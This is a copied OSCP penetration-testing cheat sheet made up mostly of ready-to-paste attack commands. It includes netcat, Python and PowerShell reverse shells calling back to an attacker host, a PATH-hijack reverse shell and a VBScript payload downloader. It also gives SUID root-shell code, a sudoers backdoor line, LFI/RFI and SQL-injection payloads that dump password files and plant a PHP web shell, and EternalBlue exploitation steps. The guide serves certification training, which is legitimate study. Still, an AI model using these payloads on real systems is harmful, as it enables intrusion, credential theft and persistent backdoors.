OSCP-Survival-Guide

Kali Linux Offensive Security Certified Professional Playbook

This content is a self-induced 'forked' reference of: https://github.com/frizb/OSCP-Survival-Guide

UPDATE: October 4, 2017 For OSCP Lab machine enumeration automation, checkout my the author's other project: ** VANQUISH **

Vanquish is a Kali Linux based Enumeration Orchestrator written in Python. Vanquish leverages the opensource enumeration tools on Kali to perform multiple active information gathering phases. The results of each phase are fed into the next phase to identify vulnerabilities that could be leveraged for a remote shell.

NOTE: This document refers to the target ip as the export variable $ip.

To set this value on the command line use the following syntax:

export ip=192.168.1.100

Table of Contents

    • Receive a file using netcat
      nc -nlvp 4444 > incoming.exe

    • Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that...

      whereis nc
nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

/bin/nc.traditional -e /bin/bash 1.2.3.4 4444

    • Create a reverse shell with Ncat using cmd.exe on Windows

      ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl

    • Listen on port 4444 using ssl
      ncat -v $ip 4444 --ssl

  • Wireshark

    • Show only SMTP (port 25) and ICMP traffic:

      tcp.port eq 25 or icmp

    • Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet:

      ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16

    • Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:

      ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip

    • Some commands are equal

      ip.addr == xxx.xxx.xxx.xxx

      Equals

      ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx

      ip.addr != xxx.xxx.xxx.xxx

      Equals

      ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx

  • Tcpdump

    • Display a pcap file
      tcpdump -r passwordz.pcap

Shells

  • Netcat Shell Listener

  • Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your shell after taking control of an apache or www user.

    (For example when you encounter an error message when trying to run an exploit sh: no job control in this shell )

(hint: sudo -l to see what you can run)

    • You may encounter limited shells that use rbash and only allow you to execute a single command per session. You can overcome this by executing an SSH shell to your localhost:

        ssh user@$ip nc $localip 4444 -e /bin/sh
  enter user's password
  python -c 'import pty; pty.spawn("/bin/sh")'
  export TERM=linux

    python -c 'import pty; pty.spawn("/bin/sh")'

           python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);          s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'

    echo os.system('/bin/bash')

    /bin/sh -i

    perl —e 'exec "/bin/sh";'

    perl: exec "/bin/sh";

 set PAYLOAD <Payload name>
 set LHOST <LHOST value>
 set LPORT <LPORT value>
 set ExitOnSession false
 exploit -j -z

    Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

  • Creating a wget VB Script on Windows:
    https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt

  • Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line):

     echo Set args = Wscript.Arguments  >> webdl.vbs
 timeout 1
 echo Url = "http://1.1.1.1/windows-privesc-check2.exe"  >> webdl.vbs
 timeout 1
 echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  >> webdl.vbs
 timeout 1
 echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> webdl.vbs
 timeout 1
 echo xHttp.Open "GET", Url, False  >> webdl.vbs
 timeout 1
 echo xHttp.Send  >> webdl.vbs
 timeout 1
 echo with bStrm      >> webdl.vbs
 timeout 1
 echo 	.type = 1 '      >> webdl.vbs
 timeout 1
 echo 	.open      >> webdl.vbs
 timeout 1
 echo 	.write xHttp.responseBody      >> webdl.vbs
 timeout 1
 echo 	.savetofile "C:\temp\windows-privesc-check2.exe", 2 '  >> webdl.vbs
 timeout 1
 echo end with >> webdl.vbs
 timeout 1
 echo

    The file can be run using the following syntax:

    C:\temp\cscript.exe webdl.vbs

  • Packing Files

Privilege Escalation

Password reuse is your friend. The OSCP labs are true to life, in the way that the users will reuse passwords across different services and even different boxes. Maintain a list of cracked passwords and test them on new machines you encounter.

  • Linux Privilege Escalation

  • Defacto Linux Privilege Escalation Guide - A much more through guide for linux enumeration: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

  • Try the obvious - Maybe the user is root or can sudo to root:

    id

    sudo su

  • Here are the commands I have learned to use to perform linux enumeration and privledge escalation:

    What users can login to this box (Do they use thier username as thier password)?:

    grep -vE "nologin|false" /etc/passwd

    What kernel version are we using? Do we have any kernel exploits for this version?

    uname -a

    searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"

    What applications have active connections?:

    netstat -tulpn

    What services are running as root?:

    ps aux | grep root

    What files run as root / SUID / GUID?:

     find / -perm +2000 -user root -type f -print
 find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
 find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
 find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
 find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
 for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done  
 find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

    What folders are world writeable?:

     find / -writable -type d 2>/dev/null      # world-writeable folders
 find / -perm -222 -type d 2>/dev/null     # world-writeable folders
 find / -perm -o w -type d 2>/dev/null     # world-writeable folders
 find / -perm -o x -type d 2>/dev/null     # world-executable folders
 find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

  • There are a few scripts that can automate the linux enumeration process:

    • Google is my favorite Linux Kernel exploitation search tool. Many of these automated checkers are missing important kernel exploits which can create a very frustrating blindspot during your OSCP course.

    https://dirtycow.ninja/
    First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016

  • Run a command as a user other than root

      sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf

  • Add a user or change a password

      /usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor  
  echo thePassword | passwd haxzor --stdin

  • Local Privilege Escalation Exploit in Linux

    • SUID (Set owner User ID up on execution)
      Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

      below are some quick copy and paste examples for various shells:

        SUID C Shell for /bin/bash  

  int main(void){  
  setresuid(0, 0, 0);  
  system("/bin/bash");  
  }  

  SUID C Shell for /bin/sh  

  int main(void){  
  setresuid(0, 0, 0);  
  system("/bin/sh");  
  }  

  Building the SUID Shell binary  
  gcc -o suid suid.c  
  For 32 bit:  
  gcc -m32 -o suid suid.c

    • Create and compile an SUID from a limited shell (no file transfer)

        echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c  
  gcc privsc.c -o privsc

  • Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requirement:

    echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

  • You may find a command is being executed by the root user, you may be able to modify the system PATH environment variable to execute your command instead. In the example below, ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on port 4444.

     set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
 echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
 chmod +x ssh

    net user "%username%"

  • Try the getsystem command using meterpreter - rarely works but is worth a try.

  • Windows privledge escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller.py into an executable and upload them to the remote server.

     pip install pyinstaller
 wget -O exploit.py http://www.exploit-db.com/download/31853  
 python pyinstaller.py --onefile exploit.py

  • Powershell Exploits - You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the powershell prompt. Once the powershell script is uploaded to the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell:

    MS16-032 https://www.exploit-db.com/exploits/39719/

    powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"

  • Windows Run As - Switching users in linux is trival with the SU command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.

    • Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).

       C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"

    • Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:

       C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
 Enter the password for Test:
 Attempting to start nc.exe as user "COMPUTERNAME\Test" ...

    • PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.

       $username = '<username here>'
 $password = '<password here>'
 $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
 $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
 Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public

      Next run this script using powershell.exe:

      powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"

  • Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user.

  • File Inclusion Vulnerabilities

    • Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.

    • fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):
      https://github.com/kurobeats/fimap

      • Gaining a shell from phpinfo()
        fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.

    • For Local File Inclusions look for the include() function in PHP code.
      include("lang/".$_COOKIE['lang']);
      include($_GET['page'].".php");

    • LFI - Encode and Decode a file using base64
      curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=index | grep -e '[^\ ]\{40,\}' | base64 -d

    • LFI - Download file with base 64 encoding
      http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php

    • LFI Linux Files:
      /etc/issue
      /proc/version
      /etc/profile
      /etc/passwd
      /etc/passwd
      /etc/shadow
      /root/.bash_history
      /var/log/dmessage
      /var/mail/root
      /var/spool/cron/crontabs/root

    • LFI Windows Files:
      %SYSTEMROOT%\repair\system
      %SYSTEMROOT%\repair\SAM
      %SYSTEMROOT%\repair\SAM
      %WINDIR%\win.ini
      %SYSTEMDRIVE%\boot.ini
      %WINDIR%\Panther\sysprep.inf
      %WINDIR%\system32\config\AppEvent.Evt

    • LFI OSX Files:
      /etc/fstab
      /etc/master.passwd
      /etc/resolv.conf
      /etc/sudoers
      /etc/sysctl.conf

    • LFI - Download passwords file
      http://$ip/index.php?page=/etc/passwd
      http://$ip/index.php?file=../../../../etc/passwd

    • LFI - Download passwords file with filter evasion
      http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    • Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte
      GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00

    • Contaminating Log Files <?php echo shell_exec($_GET['cmd']);?>

    • For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files

      /etc/php5/cgi/php.ini - "allow_url_fopen" and "allow_url_include" both set to "on"

      include($_REQUEST["file"].".php");

    • Remote File Inclusion

      http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt

      <?php echo shell\_exec("ipconfig");?>

  • Database Vulnerabilities

    • Playing with SQL Syntax A great tool I have found for playing with SQL Syntax for a variety of database types (MSSQL Server, MySql, PostGreSql, Oracle) is SQL Fiddle:

    http://sqlfiddle.com

    Another site is rextester.com:

    http://rextester.com/l/mysql_online_compiler

    • Detecting SQL Injection Vulnerabilities.

      Most modern automated scanner tools use time delay techniques to detect SQL injection vulnerabilities. This method can tell you if a SQL injection vulnerability is present even if it is a "blind" sql injection vulnerabilit that does not provide any data back. You know your SQL injection is working when the server takes a LOooooong time to respond. I have added a line comment at the end of each injection statement just in case there is additional SQL code after the injection point.

      • MSSQL Server SQL Injection Time Delay Detection: Add a 30 second delay to a MSSQL Server Query

        • Original Query

          SELECT * FROM products WHERE name='Test';

        • Injection Value

          '; WAITFOR DELAY '00:00:30'; --

        • Resulting Query

          SELECT * FROM products WHERE name='Test'; WAITFOR DELAY '00:00:30'; --

      • MySQL Injection Time Delay Detection: Add a 30 second delay to a MySQL Query

        • Original Query

          SELECT * FROM products WHERE name='Test';

        • Injection Value

          '-SLEEP(30); #

        • Resulting Query

          SELECT * FROM products WHERE name='Test'-SLEEP(30); #

      • PostGreSQL Injection Time Delay Detection: Add a 30 second delay to an PostGreSQL Query

        • Original Query

          SELECT * FROM products WHERE name='Test';

        • Injection Value

          '; SELECT pg_sleep(30); --

        • Resulting Query

          SELECT * FROM products WHERE name='Test'; SELECT pg_sleep(30); --

    • Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and password

        mysql -u root -p -h $ip
  use "Users"  
  show tables;  
  select \* from users;

    • Authentication Bypass

        name='wronguser' or 1=1;  
  name='wronguser' or 1=1 LIMIT 1;

    • Enumerating the Database

      http://192.168.11.35/comment.php?id=738)'

      Verbose error message?

      http://$ip/comment.php?id=738 order by 1

      http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6

      Determine MySQL Version:

      http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6

      Current user being used for the database connection:

      http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6

      Enumerate database tables and column structures

      http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables

      Target the users table in the database

      http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'

      Extract the name and password

      http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users

      Create a backdoor

      http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

    • Non-staged payload - is a payload that is sent in its entirety in one go

    • Staged - sent in two parts Not have enough buffer space Or need to bypass antivirus

  • MS 17-010 - EternalBlue

-   You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue).  Although, not offically part of the indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box.  I have never had much luck using the built in Metasploit EternalBlue module.  I found that the elevenpaths version works much more relabily. Here are the instructions to install it taken from the following YouTube video:
https://www.youtube.com/watch?v=4OHLor9VaRI

  
  1. First step is to configure the Kali to work with wine 32bit
  
  `dpkg --add-architecture i386 && apt-get update && apt-get install wine32
  rm -r ~/.wine
  wine cmd.exe
  exit`
        
  2. Download the exploit repostory
  https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
  
  3. Move the exploit to /usr /share /metasploit-framework /modules /exploits /windows /smb

  4. Start metasploit console

I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.

  `use exploit/windows/smb/eternalblue_doublepulsar
  msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10
  RHOST => 10.11.1.73
  msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe
  PROCESSINJECT => spoolsv.exe
  msf exploit(eternalblue_doublepulsar) > run`
